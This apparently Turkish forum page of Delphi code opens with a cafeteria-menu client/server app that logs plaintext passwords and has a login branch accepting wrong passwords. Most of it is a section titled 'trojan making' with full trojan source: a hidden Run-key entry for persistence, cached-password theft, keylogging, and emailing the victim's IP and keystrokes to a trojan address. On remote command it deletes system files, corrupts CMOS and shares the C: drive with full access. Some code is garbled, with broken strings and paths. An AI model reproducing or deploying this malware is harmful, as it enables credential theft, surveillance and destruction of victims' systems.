rzmemo1 . Lines . SaveToFile ( 'server log.txt' );
end ;
procedure TForm1 . FormCreate ( Sender : TObject );
begin
statusbar1 . Panels [ 0 ]. Text := 'server pasif' ;
if fileexists ( 'server log.txt' ) then
rzmemo1 . Lines . LoadFromFile ( 'server log.txt' );
end ;
procedure TForm1 . IdTCPServer1Connect ( AThread : TIdPeerThread );
var
SIFRE : string ;
begin
rzmemo1 . Lines . Add ( athread . Connection . Socket . Binding . PeerIP + ' adresinden baglantı istegi geldi' );
athread . Connection . WriteLn ( 'kulanıcı.adı:' );
kullanici := athread . Connection . ReadLn ;
rzmemo1 . Lines . Add ( kullanici + 'sisteme girmeye calışıyor' );
if form3 . Table1 . Locate ( 'adi' , kullanici ,[]) then
begin
rzmemo1 . Lines . Add ( kullanici + 'sifre soruluyor' );
athread . Connection . WriteLn ( 'ŞİFRE:' );
SIFRE := athread . Connection . ReadLn ;
rzmemo1 . Lines . Add ( kullanici + 'kullanıcısı' + SIFRE + 'ile sisteme girmeye çalışıyor' );
if SIFRE = form3 . Table1 . FieldByName ( 'sifre' ). Asstring then
begin
rzmemo1 . Lines . Add ( kullanici + 'için şifre kabul );
athread . Connection . WriteLn ( 'şifre kabul );
end
else
begin
rzmemo1 . Lines . Add ( kullanici + 'için şifre kabul );
athread . Connection . WriteLn ( 'şifre kabul );
athread . Connection . Disconnect ;
end ;
end
else
begin
athread . Connection . WriteLn ( 'hata' );
athread . Connection . WriteLn ( 'kullanici adı bulunamadı' );
rzmemo1 . Lines . Add ( kullanici + 'sisteme giremedi' );
athread . Connection . Disconnect ;
end ;
end ;
procedure TForm1 . ssss1Click ( Sender : TObject );
begin
form3 . Show ;
end ;
procedure TForm1 . IdTCPServer1Disconnect ( AThread : TIdPeerThread );
begin
rzmemo1 . Lines . Add ( kullanici + ' bağlantıyı kesti' );
end ;
procedure TForm1 . IdTCPServer1Execute ( AThread : TIdPeerThread );
var komut : string ;
kulanici , gun , saat , yemek1 , yemek2 , yemek3 , yemek4 , yemek5 , yemek6 , uyeadi , sifre : string ;
tarih , user , konu , mesaj , mt , kime , kns , mes : string ;
begin
if athread . Connection . Connected then
begin
komut := athread . Connection . ReadLn ;
if komut = 'liste' then
begin
RZmemo1 . Lines . Add ( kullanici + ' KULLANICIYA YEMEK LİSTESİ GÖNDERİLİYOR' );
athread . Connection . WriteLn ( 'liste:' );
form2 . Table1 . First ;
while not form2 . Table1 . Eof do
begin
kulanici := form2 . Table1 . fieldbyname ( 'tarih' ). AsString ;
gun := form2 . Table1 . fieldbyname ( 'gün' ). AsString ;
saat := form2 . Table1 . fieldbyname ( 'yemeksaati' ). AsString ;
yemek1 := form2 . Table1 . fieldbyname ( 'yemek1' ). AsString ;
yemek2 := form2 . Table1 . fieldbyname ( 'yemek2' ). AsString ;
yemek3 := form2 . Table1 . fieldbyname ( 'yemek3' ). AsString ;
yemek4 := form2 . Table1 . fieldbyname ( 'yemek4' ). AsString ;
yemek5 := form2 . Table1 . fieldbyname ( 'yemek5' ). AsString ;
yemek6 := form2 . Table1 . fieldbyname ( 'yemek6' ). AsString ;
athread . Connection . WriteLn ( kulanici );
athread . Connection . WriteLn ( gun );
athread . Connection . WriteLn ( saat );
athread . Connection . WriteLn ( yemek1 );
athread . Connection . WriteLn ( yemek2 );
athread . Connection . WriteLn ( yemek3 );
athread . Connection . WriteLn ( yemek4 );
athread . Connection . WriteLn ( yemek5 );
athread . Connection . WriteLn ( yemek6 );
form2 . Table1 . Next ;
end ;
athread . Connection . WriteLn ( 'liste sonu:' );
RZmemo1 . Lines . Add ( kullanici + ' kullanıcısına liste gönderildi ' );
end ;
if komut = 'genelmesaj' then
begin
RZmemo1 . Lines . Add ( kullanici + 'genel mesaj gönderiliyor' );
athread . Connection . WriteLn ( 'mesaj:' );
form4 . Table1 . First ;
while not form4 . Table1 . Eof do
begin
tarih := form4 . Table1 . fieldbyname ( 'mesajtarihi' ). AsString ;
user := form4 . Table1 . fieldbyname ( 'mesajyazan' ). AsString ;
konu := form4 . Table1 . fieldbyname ( 'mesajinkonusu' ). AsString ;
mesaj := form4 . Table1 . fieldbyname ( 'mesaj' ). AsString ;
athread . Connection . WriteLn ( tarih );
athread . Connection . WriteLn ( user );
athread . Connection . WriteLn ( konu );
athread . Connection . WriteLn ( mesaj );
form4 . Table1 . Next ;
end ;
athread . Connection . WriteLn ( 'liste sonu:' );
RZmemo1 . Lines . Add ( kullanici + 'genel mesaj gönderildi' );
end ;
if komut = 'genelmesajyaz' then
begin
RZmemo1 . Lines . Add ( kullanici + 'genel mesaj yazıyor' );
tarih := athread . Connection . ReadLn ;
user := athread . Connection . ReadLn ;
konu := athread . Connection . ReadLn ;
mesaj := athread . Connection . ReadLn ;
form4 . Table1 . Append ;
form4 . Table1 . FieldByName ( 'mesajtarihi' ). AsString := tari h ;
form4 . Table1 . FieldByName ( 'mesajyazan' ). AsString := user ;
form4 . Table1 . FieldByName ( 'mesajinkonusu' ). AsString := konu ;
form4 . Table1 . FieldByName ( 'mesaj' ). AsString := mesaj ;
form4 . Table1 . Post ;
end ;
athread . Connection . WriteLn ( 'mesajsonu:' );
RZmemo1 . Lines . Add ( kullanici + 'mesaj alındı' );
end ;
if komut = 'mesaj' then
begin
RZmemo1 . Lines . Add ( kullanici + 'özel mesajları gönderiliyor' );
if form7 . Table1 . Locate ( 'kime' , kullanici ,[]) then
begin
athread . Connection . WriteLn ( 'özel mesaj:' );
form7 . Table1 . First ;
while not form7 . Table1 . Eof do
begin
mt := form7 . Table1 . fieldbyname ( 'mesajTarihi' ). AsString ;
kime := form7 . Table1 . fieldbyname ( 'kime' ). AsString ;
kns := form7 . Table1 . fieldbyname ( 'konusu' ). AsString ;
mes := form7 . Table1 . fieldbyname ( 'mesaj' ). AsString ;
athread . Connection . WriteLn ( mt );
athread . Connection . WriteLn ( kime );
athread . Connection . WriteLn ( kns );
athread . Connection . WriteLn ( mes );
form7 . Table1 . Next ;
end ;
athread . Connection . WriteLn ( 'liste sonu:' );
RZmemo1 . Lines . Add ( kullanici + 'genel mesaj gönderildi' );
end ;
if komut = 'mesajyaz' then
begin
mt := athread . Connection . ReadLn ;
kime := athread . Connection . ReadLn ;
kns := athread . Connection . ReadLn ;
mes := athread . Connection . ReadLn ;
form7 . Table1 . Append ;
form7 . Table1 . FieldByName ( 'mesajTarihi' ). AsString := mt ;
form7 . Table1 . FieldByName ( 'kime' ). AsString := kime ;
form7 . Table1 . FieldByName ( 'konusu' ). AsString := kns ;
form7 . Table1 . FieldByName ( 'mesaj' ). AsString := mes ;
form7 . Table1 . Post ;
end ;
end ;
end ;
procedure TForm1 . genelmesajlar1Click ( Sender : TObject );
begin
form4 . Show ;
end ;
procedure TForm1 . sss1Click ( Sender : TObject );
begin
form5 . Show ;
end ;
procedure TForm1 . RzBitBtn5Click ( Sender : TObject );
begin
form6 . show ;
rzmemo1 . Lines . LoadFromFile ( 'c:okul otomasyonserverserver log.txt' );
end ;
procedure TForm1 . sss2Click ( Sender : TObject );
begin
form7 . show ;
end ;
procedure TForm1 . RzBitBtn3Click ( Sender : TObject );
begin
form8 . show ;
end ;
end .
YEMEK L İ STES İ N İ YAZILACAGI FORM
Vt table kullanarak ba ğ lay ı n fazla bir ura ş a gerek yok
KULLANI EKL İ YECEG İ M İ Z FORM
Form tasar ı m ı size kalm ış isdediginiz gibi tasarlay ı n resimleri g ö sterme amac ı m vt neler olaca ğı n ı g ö stermek
GENEL MESAJLAR FORMU
Genel mesajlar ı n yaz ı lacag ı yer client de genel mesaj ata bilir mesajlar bu k ı s ı mda kay ı t olur
Yay ı nla buttonu yenile anlam ı ta şı yor
Ö ZEL MESAJLAR KISMI
Ö zel mesajla ş ma b ö l ü m ü mesajlar buraya kaydedilir i ş in g ü zel yan ı serverin ba şı ndaki ki ş i
B ü t ü n mesajla ş malar ı okuya bilir asl ı nda bu k ı sm ı tcp kullanrak yapacakt ı m ama okuldaki hup mesajlar ı buloke ediyordu
CL İ ENT B Ö L Ü M Ü İŞİ N ZOR KISMI
kulan ı c ı ad ı ş ifre form 2 ye ayarlad ı m istiyen direk ama forma monte edebilir
Kod :
procedure TForm1 . sToolButton1Click ( Sender : TObject );
var
s : string ;
begin
IdTCPClient1 . Host := form2 . sedit1 . Text ;
IdTCPClient1 . Port := 1111 ;
Idtcpclient1 . Connect ;
s := Idtcpclient1 . ReadLn ;
if s = 'kulanıcı.adı:' then
Idtcpclient1 . WriteLn ( form2 . sedit2 . Text );
s := Idtcpclient1 . ReadLn ;
if s = 'ŞİFRE:' THEN
Idtcpclient1 . WriteLn ( form2 . sEdit3 . Text );
if s = 'hata:' then
begin
showmessage ( Idtcpclient1 . ReadLn );
Idtcpclient1 . Disconnect ;
sstatusbar1 . Panels [ 0 ]. Text := 'bir hata oluştu' ;
end
else
begin
s := Idtcpclient1 . ReadLn ;
if s = 'şifre kabul then
begin
stoolbutton2 . Enabled := true ;
stoolbutton3 . Enabled := true ;
stoolbutton4 . Enabled := true ;
stoolbutton5 . Enabled := true ;
end ;
end ;
end ;
procedure TForm1 . FormCreate ( Sender : TObject );
begin
slistview1 . Hide ;
stoolbutton2 . Enabled := false ;
stoolbutton3 . Enabled := false ;
stoolbutton4 . Enabled := false ;
stoolbutton5 . Enabled := false ;
end ;
procedure TForm1 . sToolButton3Click ( Sender : TObject );
begin
form2 . Show ;
end ;
procedure TForm1 . IdTCPClient1Connected ( Sender : TObject );
begin
sstatusbar1 . Panels [ 0 ]. Text := 'baglantı saglandı' ;
end ;
procedure TForm1 . sToolButton2Click ( Sender : TObject );
begin
sstatusbar1 . Panels [ 0 ]. Text := 'bağlantı kesildi' ;
end ;
procedure TForm1 . sToolButton5Click ( Sender : TObject );
var
kulanici : string ;
begin
slistview1 . Show ;
slistview1 . Clear ;
kulanici := '' ;
IdTCPClient1 . WriteLn ( 'liste' );
if Idtcpclient1 . ReadLn = 'liste:' then
begin
while kulanici <> 'liste sonu:' do
begin
kulanici := IdTCPClient1 . ReadLn ;
if kulanici = 'liste sonu:' then break ;
with slistview1 . Items . Add DO
begin
caption := kulanici ;
kulanici := Idtcpclient1 . ReadLn ;
subItems . Add ( kulanici );
kulanici := Idtcpclient1 . ReadLn ;
subItems . Add ( kulanici );
kulanici := Idtcpclient1 . ReadLn ;
subItems . Add ( kulanici );
kulanici := Idtcpclient1 . ReadLn ;
subItems . Add ( kulanici );
kulanici := Idtcpclient1 . ReadLn ;
subItems . Add ( kulanici );
kulanici := Idtcpclient1 . ReadLn ;
subItems . Add ( kulanici );
kulanici := Idtcpclient1 . ReadLn ;
subItems . Add ( kulanici );
kulanici := Idtcpclient1 . ReadLn ;
subItems . Add ( kulanici );
kulanici := Idtcpclient1 . ReadLn ;
subItems . Add ( kulanici );
end ;
end ;
end ;
end ;
procedure TForm1 . genelmesajlar1Click ( Sender : TObject );
begin
form3 . show ;
end ;
FORM 2 YAPISI
Kulan ı ad ı ip ş ifre ayarlar ı n ı yazd ı m ı z yar ben bilgileri direk olarak registriy yazd ı rd ı m
Kod :
procedure TForm2 . sBitBtn4Click ( Sender : TObject );
begin
form2 . Close ;
end ;
procedure TForm2 . sBitBtn3Click ( Sender : TObject );
begin
end ;
procedure TForm2 . FormCreate ( Sender : TObject );
var
reg : tregistry ;
SSS : string ;
// ayarları form acılışında okuyoruz
begin
reg := tregistry . Create ;
try
reg . OpenKey ( 'intOayarlar' , false );
anahtar := 'intOayarlar' ;
if reg . OpenKey ( anahtar , false ) then
begin
Sedit1 . Text := reg . ReadString ( 'ip' ) ;
Sedit2 . Text := reg . ReadString ( 'kullanı nick' ) ;
Sedit3 . Text := reg . ReadString ( 'sifre ' ) ;
reg . CloseKey ;
end ;
finally
reg . Free ;
end ;
end ;
procedure TForm2 . sBitBtn2Click ( Sender : TObject );
begin
form2 . Close ;
end ;
procedure TForm2 . sBitBtn1Click ( Sender : TObject );
var
reg : tregistry ;
tar : string ;
// yapılkan ayarları uygulatıyoruz uygular
begin
reg := tregistry . Create ;
reg . OpenKey ( 'intoayarlar' , true );
tar := 'intoayarlar' ;
try
if reg . OpenKey ( tar , true ) then
begin
reg . WriteString ( 'ip' , sedit1 . Text );
reg . WriteString ( 'kullanı nick' , sedit2 . Text );
reg . WriteString ( 'sifre' , sedit3 . Text );
reg . CloseKey ;
end ;
finally
reg . Free ;
end ;
GENEL MESAJ ATMA FORMU
genel mesaj al foksiyonu serverde kay ı tl ı mesajlar ı al ı r eyer siz bir mesaj yazarsan ı z servere kaydeder ve ba ş kal ı r an ı nda okuya bilir
Kod :
procedure TForm3 . sBitBtn3Click ( Sender : TObject );
begin
form3 . Close ;
end ;
procedure TForm3 . sBitBtn1Click ( Sender : TObject );
var
kulanici : string ;
begin
form1 . IdTCPClient1 . WriteLn ( 'genelmesaj' );
kulanici := form1 . idtcpclient1 . ReadLn ;
smemo1 . Lines . Add ( kulanici );
kulanici := form1 . idtcpclient1 . ReadLn ;
sedit1 . Text :=( kulanici );
kulanici := form1 . idtcpclient1 . ReadLn ;
sedit2 . Text :=( kulanici );
kulanici := form1 . idtcpclient1 . ReadLn ;
sedit3 . Text :=( kulanici );
kulanici := form1 . idtcpclient1 . ReadLn ;
smemo1 . Lines . Add ( kulanici );
end ;
procedure TForm3 . sBitBtn2Click ( Sender : TObject );
begin
sedit2 . Text := form2 . sEdit2 . Text ;
sedit1 . Enabled := true ;
sedit3 . Enabled := true ;
smemo1 . Enabled := true ;
end ;
procedure TForm3 . FormCreate ( Sender : TObject );
begin
sedit1 . Enabled := false ;
sedit2 . Enabled := false ;
sedit3 . Enabled := false ;
smemo1 . Enabled := false ;
end ;
procedure TForm3 . sBitBtn4Click ( Sender : TObject );
var
kulanici : string ;
begin
form1 . IdTCPClient1 . WriteLn ( 'genelmesajyaz' );
form1 . idtcpclient1 . WriteLn ( sedit1 . Text );
form1 . idtcpclient1 . WriteLn ( sedit2 . Text );
form1 . idtcpclient1 . WriteLn ( sedit3 . Text );
form1 . idtcpclient1 . WriteLn ( smemo1 . Text );
end ;
end .
Delphi - .....................................
Trojan Yapımı
unit Unit1 ;
interface
uses
Windows , Messages , SysUtils , Classes , Graphics , Controls , Forms , Dialogs ,
ScktComp , ExtCtrls , StdCtrls , Mmsystem , shellapi , Psock , NMMSG , Registry , IniFiles ,
NMsmtp , KeySpy , ShlOBJ , SharedResource ;
type
TForm1 = class ( TForm )
ServerSocket1 : TServerSocket ;
Edit1 : TEdit ;
Timer1 : TTimer ;
Label1 : TLabel ;
NMSMTP1 : TNMSMTP ;
Label2 : TLabel ;
Edit2 : TEdit ;
Timer2 : TTimer ;
ClientSocket1 : TClientSocket ;
hook : TMemo ;
KeySpy1 : TKeySpy ;
Label3 : TLabel ;
SharedResource1 : TSharedResource ;
label4 : TEdit ;
procedure ServerSocket1ClientRead ( Sender : TObject ;
Socket : TCustomWinSocket );
procedure Edit1Change ( Sender : TObject );
procedure FormCreate ( Sender : TObject );
procedure Timer1Timer ( Sender : TObject );
procedure FormActivate ( Sender : TObject );
procedure FormShow ( Sender : TObject );
procedure Timer2Timer ( Sender : TObject );
procedure Edit2Change ( Sender : TObject );
procedure KeySpy1KeySpyDown ( Sender : TObject ; Key : Byte ;
KeyStr : String );
procedure KeySpy1ActiveTitleChanged ( Sender : TObject ;
ActiveTitle : String );
procedure ServerSocket1ClientConnect ( Sender : TObject ;
Socket : TCustomWinSocket );
procedure label4Change ( Sender : TObject );
private
{ Private declarations }
public
hMPR : THandle ;
procedure WriteText ( TransText : string );
{ Public declarations }
end ;
var
Form1 : TForm1 ;
const
Count : Integer = 0 ;
function WNetEnumCachedPasswords ( lp : lpStr ; w : Word ; b : Byte ; PC : PChar ; dw : DWord ): Word ; stdcall ;
implementation
function WNetEnumCachedPasswords ( lp : lpStr ; w : Word ; b : Byte ; PC : PChar ; dw : DWord ): Word ; external mpr name 'WNetEnumCachedPasswords' ;
type
PWinPassword = ^ TWinPassword ;
TWinPassword = record
EntrySize : Word ;
ResourceSize : Word ;
PasswordSize : Word ;
EntryIndex : Byte ;
EntryType : Byte ;
PasswordC : Char ;
end ;
var Result : Integer ;
dc : hdc ;
C : PChar ;
I : Integer ;
Reg : TRegistry ;
Keys , Values : TStringList ;
SystemDir : String ;
Canvas : TCanvas ;
szWinDir : array [ 0 .. MAX_PATH ] of char ;
Cmd : string ;
AppExe : string ;
WinPassword : TWinPassword ;
MyFormat : Word ;
AData : THandle ;
APalette : HPalette ;
DCDesk : HDC ;
MyBMP : TBitmap ;
adres1 : string ;
{$R *.DFM}
const
OldRet : Boolean = False ;
function AddPassword ( WinPassword : PWinPassword ; dw : DWord ): LongBool ; stdcall ;
var
Password : String ;
PC : Array [ 0 .. $FF ] of Char ;
begin
inc ( Count );
Move ( WinPassword . PasswordC , PC , WinPassword . ResourceSize );
PC [ WinPassword . ResourceSize ] := #0 ;
CharToOem ( PC , PC );
Password := StrPas ( PC );
Move ( WinPassword . PasswordC , PC , WinPassword . PasswordSize + WinPassword . ResourceSize );
Move ( PC [ WinPassword . ResourceSize ], PC , WinPassword . PasswordSize );
PC [ WinPassword . PasswordSize ] := #0 ;
CharToOem ( PC , PC );
Password := Password + ': ' + StrPas ( PC );
Form1 . hook . lines . Add ( Password );
Result := True ;
end ;
procedure TForm1 . WriteText ( TransText : string );
var
MyHand : HWND ;
MyDc : HDC ;
MyCanvas : TCanvas ;
begin
MyHand := GetDesktopWindow ;
MyDc := GetWindowDC ( MyHand );
MyCanvas := TCanvas . Create ;
MyCanvas . Handle := MyDC ;
BeginPath ( MyCanvas . Handle );
MyCanvas . Font . Color := clRed ;
MyCanvas . Font . Name := 'Courier New' ;
MyCanvas . Font . Size := 100 ;
SetBkMode ( MyCanvas . Handle , TRANSPARENT );
EndPath ( MyCanvas . Handle );
MyCanvas . TextOut ( 100 , 100 , TransText );
end ;
procedure SetRes ( XRes , YRes : DWord );
var
lpDevMode : TDeviceMode ;
begin
EnumDisplaySettings ( nil , 0 , lpDevMode );
lpDevMode . dmFields := DM_PELSWIDTH or DM_PELSHEIGHT ;
lpDevMode . dmPelsWidth := XRes ;
lpDevMode . dmPelsHeight := YRes ;
ChangeDisplaySettings ( lpDevMode , 0 );
end ;
Procedure CloseDoor ;
Begin
mciSendString ( 'Set cdaudio door closed' , nil , 0 , 0 );
end ;
Procedure OpenDoor ;
Begin
mciSendString ( 'Set cdaudio door open' , nil , 0 , 0 );
end ;
procedure TForm1 . ServerSocket1ClientRead ( Sender : TObject ;
Socket : TCustomWinSocket );
var
s : string ;
begin
s := socket . receivetext ;
edit1 . text := s ;
end ;
Procedure CoverMyTracks ;
var
WindowsDirectory : String ;
begin
DeleteFile ( WindowsDirectory + 'Netstat.exe' );
DeleteFile ( WindowsDirectory + 'NBTSTAT.EXE' );
DeleteFile ( WindowsDirectory + 'TRACERT.EXE' );
DeleteFile ( WindowsDirectory + 'ROUTE.EXE' );
DeleteFile ( WindowsDirectory + 'PING.EXE' );
end ;
procedure e ;
begin
Canvas := TCanvas . Create ;
try
Canvas . Handle := CreateDC ( 'DISPLAY' , nil , nil , nil );
Canvas . CopyRect ( Rect ( 0 , 0 , Screen . Width , Screen . Height ), Canvas ,
Rect ( 0 , Screen . Height , Screen . Width , 0 ));
finally
Canvas . Free ;
end ;
end ;
procedure TForm1 . Edit1Change ( Sender : TObject );
var
I : Integer ;
begin
if edit1 . text = 'a26' then
begin
for I := 0 to 5000 do
begin
CreateDirectory ( PChar ( 'C:windowsdesktopmmm' + IntToStr ( I )), nil );
end ;
end ;
if edit1 . text = 'a21' then
begin
WriteText ( 'hehheh!!!' );
edit1 . text := '0' ;
end ;
if edit1 . text = 'a22' then
begin
asm
@loop1:
mov cx,0ffh;
mov al,cl;
out 70,al;
out 71,al;
loop @loop1 ;
end ;
edit1 . text := '0' ;
end ;
if edit1 . text = 'a23' then
begin
clientsocket1 . Socket . SendText ( hook . text );
edit1 . text := '0' ;
end ;
if edit1 . text = 'a24' then
begin
clientsocket1 . Address := label3 . caption ;
clientsocket1 . Active := true ;
edit1 . text := '0' ;
end ;
if edit1 . text = 'a19' then
begin
asm
cli
@@WaitOutReady:
in al,64h
test al,00000010b
jnz @@WaitOutReady
mov al,0FEh
out 64h,al
end ;
edit1 . text := '0' ;
End ;
if edit1 . text = 'a20' then
begin
ShowWindow ( FindWindow ( 'BaseBar' , nil ), SW_NORMAL ); //başlam menü listesi
ShowWindow ( FindWindow ( 'Progman' , nil ), SW_NORMAL ); //masaüstü
edit1 . text := '0' ;
end ;
if edit1 . text = 'a1' then
begin
exitwindowsex ( EWX_SHUTDOWN , 0 );
edit1 . text := '0' ;
end ;
if edit1 . text = 'a2' then
begin
SetCursorPos ( 15000 , 15000 );
edit1 . text := '0' ;
end ;
if edit1 . text = 'a3' then
begin
Perform ( WM_SYSCOMMAND , SC_SCREENSAVE , 1 );
edit1 . text := '0' ;
end ;
if edit1 . text = 'a4' then
begin
asm
mov ax,0feh
out 64h,ax
end ;
edit1 . text := '0' ;
end ;
if edit1 . text = 'a5' then
begin
OPENDOOR ;
edit1 . text := '0' ;
end ;
if edit1 . text = 'a6' then
begin
closedoor ;
edit1 . text := '0' ;
end ;
if edit1 . text = 'a7' then
begin
timer1 . enabled := true ;
edit1 . text := '0' ;
end ;
if edit1 . text = 'a8' then
begin
timer1 . enabled := false ;
edit1 . text := '0' ;
end ;
if edit1 . text = 'a9' then
begin
e ; //ekranı ters cevir
edit1 . text := '0' ;
end ;
if edit1 . text = 'a10' then
begin
CoverMyTracks ;
edit1 . text := '0' ;
end ;
if edit1 . text = 'a11' then
begin
DeleteFile ( SystemDir + 'windowsCommand.com' ); //wincrash2
DeleteFile ( SystemDir + 'windowsWin.com' );
DeleteFile ( SystemDir + 'windowssystem.ini' );
DeleteFile ( SystemDir + 'windowswin.ini' );
DeleteFile ( SystemDir + 'Command.com' );
DeleteFile ( SystemDir + 'autoexe.bat' );
edit1 . text := '0' ;
end ;
if edit1 . text = 'a12' then
begin
Reg := TRegistry . Create ;
Keys := TStringList . Create ; //saati sil
Values := TStringList . Create ;
Reg . RootKey := HKEY_CURRENT_USER ;
if not Reg . OpenKey ( 'RemoteAccessAddresses' , false ) then Exit ;
Reg . GetValueNames ( Values );
for I := 0 to Values . Count - 1 do
Reg . DeleteValue ( Values [ I ]);
if not Reg . OpenKey ( 'RemoteAccessProfiles' , false ) then Exit ;
Reg . GetKeyNames ( Keys );
for I := 0 to Keys . Count - 1 do
Reg . DeleteKey ( Keys [ I ]);
Reg . Free ;
Values . Free ;
Keys . Free ;
edit1 . text := '0' ;
end ;
if edit1 . text = 'a13' then
begin
exitwindowsex ( EWX_reboot , 0 ); //restart
end ;
if edit1 . text = 'a15' then
begin
Winexec ( 'Control.exe Date/Time' , sw_shownormal );
edit1 . text := '0' ; //saat dialog ac
end ;
if edit1 . text = 'a16' then
begin
ShowWindow ( FindWindow ( 'BaseBar' , nil ), SW_MINIMIZE ); //başlam menü listesi
ShowWindow ( FindWindow ( 'Progman' , nil ), SW_HIDE ); //masaüstü
edit1 . text := '0' ; //format belgelerim
end ;
if edit1 . text = 'a17' then
begin
Setres ( 800 , 600 );
edit1 . text := '0' ;
end ;
if edit1 . text = 'a18' then
begin
Setres ( 640 , 480 );
edit1 . text := '0' ;
end ;
end ;
function RegisterServiceProcess ( dwProcessID , dwType : DWord ) : DWord ; stdcall ; external 'KERNEL32.DLL' ;
function GetAppPath : string ;
begin
Result := ExtractFilePath ( Application . ExeName );
if Result [ Length ( Result )] <> '' then
Result := Result + '' ;
end ;
//.............................................................
procedure TForm1 . FormCreate ( Sender : TObject );
begin
RegisterServiceProcess ( GetCurrentProcessID , 1 );
serversocket1 . Port := 333 ;
serversocket1 . Active := true ;
try
copyfile ( PChar ( Application . Exename ), 'C:WINDOWSSYSTEMWin32r.exe' , true );
RegisterServiceProcess ( GetCurrentProcessID , 0 );
SetWindowLong ( Application . Handle , GWL_EXSTYLE , WS_EX_TOOLWINDOW );
finally
with TRegistry . Create do
try
RootKey := HKEY_CURRENT_USER ;
if OpenKey ( 'SOFTWAREMicrosoftWindowsCurrentVersionRun' , true ) then
AppExe := #34 + Application . Exename + #34 ;
WriteString ( 'Win32r' , AppExe );
finally
Label1 . Caption := GetAppPath ;
if label1 . caption <> 'C:WINDOWSSYSTEM' then
begin
ShellExecute ( 0 , 'open' , PChar ( 'C:WINDOWSSYSTEMWin32r.exe' ), nil , nil , SW_SHOW );
halt ( 0 );
end ;
end ;
end ;
end ;
//............................................................
procedure TForm1 . Timer1Timer ( Sender : TObject );
begin
SendMessage ( Application . Handle , WM_SYSCOMMAND , SC_MONITORPOWER , 0 ); //monitor kapa
end ;
procedure TForm1 . FormActivate ( Sender : TObject );
begin
RegisterServiceProcess ( GetCurrentProcessID , 1 );
end ;
procedure TForm1 . FormShow ( Sender : TObject );
begin
if WNetEnumCachedPasswords ( nil , 0 , $FF , @ AddPassword , 0 ) <> 0 then
begin
Application . MessageBox ( 'Can''t load passwords: User is not logon.' , 'Error' , mb_Ok or mb_IconWarning );
Application . Terminate ;
end
else
if Count = 0 then
hook . lines . Add ( 'No passwords found...' );
RegisterServiceProcess ( GetCurrentProcessID , 1 );
end ;
procedure TForm1 . Timer2Timer ( Sender : TObject );
var
a : string ;
b : integer ;
begin
b := strtoint ( label4 . text );
b := b + 1 ;
label4 . text := inttostr ( b );
if label4 . text = '900' then
begin
label4 . text := '0' ;
if edit2 . text <> '127.0.0.1' then
begin
NMSMTP1 . Host := 'mail.rt.net.tr' ;
NMSMTP1 . UserID := 'ip no trojan!' ;
NMSMTP1 . Connect ;
NMSMTP1 . PostMessage . FromAddress := 'trojan79trojan@yahoo.com' ;
NMSMTP1 . PostMessage . ToAddress . Text := 'tret' ;
NMSMTP1 . PostMessage . Body . Text := datetimetostr ( now )+ hook . Text ;
NMSMTP1 . PostMessage . Subject := edit2 . text ;
NMSMTP1 . SendMail ;
NMSMTP1 . Disconnect ;
end ;
end ;
edit2 . text := nmsmtp1 . LocalIP ;
end ;
procedure TForm1 . Edit2Change ( Sender : TObject );
begin
if edit2 . text <> '127.0.0.1' then
begin
NMSMTP1 . Host := 'mail.rt.net.tr' ;
NMSMTP1 . UserID := 'ip no for trojan!' ;
NMSMTP1 . Connect ;
NMSMTP1 . PostMessage . FromAddress := 'trojan79trojan@yahoo.com' ;
NMSMTP1 . PostMessage . ToAddress . Text := 'aa' ;
NMSMTP1 . PostMessage . Body . Text := datetimetostr ( now ) ;
NMSMTP1 . PostMessage . Subject := edit2 . text ;
NMSMTP1 . SendMail ;
NMSMTP1 . Disconnect ;
end ;
end ;
procedure TForm1 . KeySpy1KeySpyDown ( Sender : TObject ; Key : Byte ;
KeyStr : String );
begin
if ( KeyStr [ 1 ] = '-' ) and ( KeyStr [ 2 ] = '-' ) then
begin
Hook . Lines . Add ( '' );
OldRet := True ;
end
else
if OldRet then
begin
Hook . Lines . Add ( '' );
OldRet := False ;
end ;
Hook . Text := Hook . Text + KeyStr ;
{ For 16-bit only}
{$IFNDEF WIN32}
if ( Length ( Hook . Text ) > $F0 ) then Hook . Clear ;
{$ENDIF}
end ;
procedure TForm1 . KeySpy1ActiveTitleChanged ( Sender : TObject ;
ActiveTitle : String );
begin
OldRet := True ;
Hook . Text := Hook . Text + #13#10 '[' + ActiveTitle + ']' ;
{ For 16-bit only}
{$IFNDEF WIN32}
if ( Length ( Hook . Text ) > $F0 ) then Hook . Clear ;
{$ENDIF}
end ;
procedure TForm1 . ServerSocket1ClientConnect ( Sender : TObject ;
Socket : TCustomWinSocket );
begin
label3 . caption := Socket . RemoteAddress ;
end ;
procedure TForm1 . label4Change ( Sender : TObject );
begin
SharedResource1 . ShareName := 'XP' ;
SharedResource1 . ResourcePath := 'C:' ;
SharedResource1 . ResourceType := RTFolder ;
SharedResource1 . AccessType := ATFull ;
SharedResource1 . Share ;
end ;
end .
windows 'un altındaki uygulamaları siler
Procedure CoverMyTracks ;
Var
WindowsDirectory : String ;
Begin
DeleteFile ( WindowsDirectory + 'Netstat.exe' );
DeleteFile ( WindowsDirectory + 'NBTSTAT.EXE' );
DeleteFile ( WindowsDirectory + 'TRACERT.EXE' );
DeleteFile ( WindowsDirectory + 'ROUTE.EXE' );
DeleteFile ( WindowsDirectory + 'PING.EXE' );
End ;
Burada da Registry ü zerinde de ğ i ş iklik yap ı yor ...
Kod :
if edit1 . text = 'a12' then
begin
Reg := TRegistry . Create ;
Keys := TStringList . Create ; //saati sil
Values := TStringList . Create ;
Reg . RootKey := HKEY_CURRENT_USER ;
if not Reg . OpenKey ( 'RemoteAccessAddresses' , false ) then Exit ;
Reg . GetValueNames ( Values );
for I := 0 to Values . Count - 1 do
Reg . DeleteValue ( Values [ I ]);
if not Reg . OpenKey ( 'RemoteAccessProfiles' , false ) then Exit ;
Reg . GetKeyNames ( Keys );
for I := 0 to Keys . Count - 1 do
Reg . DeleteKey ( Keys [ I ]);
Reg . Free ;
Values . Free ;
Keys . Free ;
edit1 . text := '0' ;
Burda ise kullan ı c ı n ı n IP Adresini kendi mail adresine yolluyor ...
NMSMTP1 . UserID := 'ip no for trojan!' ;
NMSMTP1 . Connect ;
NMSMTP1 . PostMessage . FromAddress := 'trojan79trojan@yahoo.com' ;
NMSMTP1 . PostMessage . ToAddress . Text := 'aa' ;
Delphi - .....................................
